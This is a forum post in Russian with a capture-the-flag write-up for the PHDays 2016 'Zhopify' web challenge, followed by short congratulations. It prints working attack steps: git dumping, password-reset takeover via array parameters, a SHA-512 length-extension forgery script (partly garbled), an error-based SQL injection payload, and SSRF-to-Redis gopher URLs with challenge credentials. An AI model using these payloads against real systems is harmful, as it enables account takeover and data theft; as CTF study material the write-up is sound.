PDA

Просмотр полной версии : Write-up PHDays 2016 Zhopify или Megatask 2.0


Isis
20.04.2016, 01:14
Сайт http://zhopify.hackquest.phdays.com/web/

Доступна регистрация, авторизация, восстановление пароля.

После регистрации приходит письмо на почту такого вида:


Hello zhopify-f1NUo.
We have create account for you. Your password is Olf0mish
Account must be validated by administrator. But he is dead right now. Try approve account by yourself


Отправитель письма admin@zhopify.zhp (mailto:admin@zhopify.zhp) - запомнил.

Админ умер, обидно.

Потыкал все формы на xss/sql - ничего.

Погрустил, запустил dirbuster который обнаружил .git директорию.

Доступными инструментами спарсить гит не удалось т.к. после 2 запроса IP банится на ~10 минут.

Написал дампер гита на php с поддержкой соксов.

https://gist.github.com/firsov/734b98c7ac7d74a5cdf72eb83b9b607b

Создаем временную папку, выполняем команду git init, скачиваем ./git/index файл с zhopify сайта и кладем в папку .git

Выходим из папки .git выше и выполняем команду git ls-files > files.txt

Теперь у нас есть огромный список файлов гита zhopify.

Дальше запускаем скрипт и ждем.

В гите оказалось около 3000 файлов мусора, там и wordpress и laravel и kohana и yii, ничего что могло бы нам помочь.

http://hsto.org/files/286/bca/849/286bca849ebd413c8fb76ab21d50f8e4.png

Интересным оказался файл controllers/PayController.php, но на данном этапе он нам ничего не давал.

Еще раз погрустил. Потом прилетел хинт про форму восстановления пароля.

В форме указывается email адрес в поле с именем


ForgotForm[еmail]

.

Сделал запрос такого вида:


ForgotForm[email][]=admin@zhopify.com
ForgotForm[email][]=mymail@gmail.com

На почту прилетело письмо


Hello admin,
Follow the link below to reset your password:
http://zhopify.hackquest.phdays.com...en=iMAsmSL-_lFMF0V_MZ3VG1o6QDdLoN6_1460889039 (http://zhopify.hackquest.phdays.com/web/site/reset-password?token=iMAsmSL-_lFMF0V_MZ3VG1o6QDdLoN6_1460889039)


Вот прикол!

Изменил пароль админу, захожу под ним, в админке вбиваю свой аккаунт, активирую его и ставлю статус developer. Больше в админке делать нечего.

Захожу под своим аккаунтом. В профиле есть возможность купить план Elite за 31337$, но пополнение баланса не работает.

Вспоминаю файл controllers/PayController.php из гита


public functionactionCheck()
{
// 1 usd pay test — {id: 1,
//amount: 1,
//system: 'liqpay',
//email: 'admin@localhost',
//plan: 'elite',
//signature: '131e8bde0e05873a50b3f0fd112e53e592600 38e96822740062f5bbb8cce08c0efe25d5f83dad5efcc1a689 5dcd28c4c0702a7e0c8f0d2e843b854c215eadbb5'}
if (Yii::$app->request->isAjax) {
Yii::$app->response->format= \yii\web\Response::FORMAT_JSON;
$data=Yii::$app->request->post();
if(!empty($data['signature'])) {
if( !empty($data['id']) && !empty($data['email']) && !empty($data['plan']) && !empty($data['amount']) && !empty($data['system']) ) {
if($this->checkSign($data,2) ===true) {
if (Yii::$app->user->id==$data['id']) {
$user=User::findIdentity(['id'=>Yii::$app->user->id]);
if($user) {
$user->balance+=$data['amount'];
if($user->save()) {
return ['ok'=>'Balance updated!'];
}
}
}
}
}
}
return ['error'=>'Fatal error!'];
}
return$this->render('pay', ['error'=>'Fatal error! Wrong singature!']);
}

private functioncheckSign(array$params,$k ey=1)
{
ksort($params);
if($key==1) {
$secretKey=Yii::$app->params['PAY_KEY1'];
} else {
$secretKey=Yii::$app->params['PAY_KEY2'];
}
$sign=$params['signature'];
unset($params['signature']);
$p=implode(':',$params);
$m=hash('sha512','check:'.$secretKey.':'.$p);
return$m===$sign;
}


Сразу понятно - Length extension attack. Подробно описывать я ее не буду, в гугле полно информации.

Эта часть далась довольно быстро потому что буквально неделю назад похожую задачу решал в другой ctf.

Скрипт такой:


// (c) mailbrush
$data='1:admin@localhost:1:elite:liqpay';
$orig_sig='131e8bde0e05873a50b3f0fd112e53e59260038 e96822740062f5bbb8cce08c0efe25d5f83dad5efcc1a6895d cd28c4c0702a7e0c8f0d2e843b854c215eadbb5';
$inject= ['id'=>130,
'system'=>'a',
'email'=>'b',
'plan'=>'c',
'amount'=>500000
];

ksort($inject);
$append=':'.implode(':',$inject);

for($len=10;$len'yii\\db\\Connection',
'dsn'=>'mysql:host=localhost;dbname=zhopify',
'username'=>'zhopify',
'password'=>'uqBbFAWx/&:G6KNQRTtS',
'charset'=>'utf8',
];

Еще немного почитал исходники и стало понятно, что в импорте поля prefix и table уязвимы к SQL injection:

В Mysql Import указываем 127.0.0.1 3306, данные из конфига, database zhopify, table пусто, в префикс SQL query:


products` where 1=1 |(select!x-~0.FROM(select+(select flag from flag.flag)x)f)-- f


Получаем error based sql inj

http://hsto.org/files/320/610/423/320610423c3649489dec028963b98efb.png

Flag 1: Welcome back to Megatask version two point zero.

От флага посмеялся от души.

Дальше хинтанули, что второй флаг лежит в редисе.

Снаружи к нему подрубиться нельзя, в читалке gopher не работает.

Нашелся файл ../.htaccess



Order allow,deny
Allow from 127.0.0.1


В /etc/hosts был найден алиас 127.0.0.1 zhopify.zhp

Через читалку обращаемся к http://zhopify.zhp/testCURLimage.php , отлично, существует!

Читаем содержимое файла:


if (!empty($_GET['u'])) {
$url_array=parse_url($_GET['u']);
if ($url_array!==FALSE) {
if (!empty($url_array['scheme']) && !in_array(strtolower($url_array['scheme']), ['file','dict','ftp']) ) {
if (!empty($url_array['host']) && !empty($url_array['path'])) {
$name=basename($url_array['path']);
if (!empty($name) ) {
$ext=pathinfo($name,PATHINFO_EXTENSION);
if ($ext= ='jpg') {

if ($curl=curl_init()) {
die;
curl_setopt($curl,CURLOPT_URL,$_GET['u']);
curl_setopt($curl,CURLOPT_HEADER,false);
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,5);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,false);
curl_setopt($curl,CURLOPT_RANGE,"1-1024*1024*1");

$out=curl_exec($curl);
$data=$out;
curl_close($curl);
if ($data!==false) {
print$data;
}
}
}
}
}
}
}
}

SSRF налицо.

Необходимо передавать расширение jpg чтобы он выполнился.

Попробуем доступен ли здесь gopher.

Читаем файл так:


http://zhopify.zhp/testCURLimage.php?u=gopher://myip.com/1.jpg


Запрос есть - отлично.

Чтобы расширение jpg не ломало запрос к редису, делать мы будем его так:


keys *
quit
1.jpg


После quit будет выход из редиса со статусом OK.

Теперь мы можем обратиться к редису через gopher.

Запрос


http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1keys *%0a1quit%0a1.jpg (http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1keys%20*%250a1quit%250a1.jpg)


Ответ: NOAUTH Authentication required. OK

Читаем конфиг /etc/redis/redis.conf

Пароль requirepass 78109f951153fd3bdcf4715bf041c96c76b17bad

Делаем запрос


AUTH 78109f951153fd3bdcf4715bf041c96c76b17bad
keys *
quit
1.jpg




http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1AUTH 78109f951153fd3bdcf4715bf041c96c76b17bad%0a1keys *%0a1quit%0a1.jpg (http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1AUTH%2078109f951153fd3bdcf4715bf041c96c76b17bad%2 50a1keys%20*%250a1quit%250a1.jpg)


Ответ: $45 4bc37760d3d60167126e7f3ef5067d301e5c6606_FLAG

Следующий запрос


AUTH 78109f951153fd3bdcf4715bf041c96c76b17bad
get 4bc37760d3d60167126e7f3ef5067d301e5c6606_FLAG
quit
1.jpg




http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1AUTH 78109f951153fd3bdcf4715bf041c96c76b17bad%0a1get 4bc37760d3d60167126e7f3ef5067d301e5c6606_FLAG%0a1q uit%0a1.jpg (http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1AUTH%2078109f951153fd3bdcf4715bf041c96c76b17bad%2 50a1get%204bc37760d3d60167126e7f3ef5067d301e5c6606 _FLAG%250a1quit%250a1.jpg)


Ответ и флаг: Nice to see your asses here again!

Отличное задание!

Настоящий shopify заплатил бы за такое 31337$

Спасибо за помощь в решении таска mailbrush и yarbabin.

faza02
20.04.2016, 01:18
батька оф зе веб!

Mister_Bert0ni
20.04.2016, 16:35
грац)

Mansoni
20.04.2016, 22:22
Офигенно поздравляю с победой

Раrаdох
21.04.2016, 01:49
Какое унижение... Круто!

shell_c0de
22.04.2016, 01:43
классно! с победой!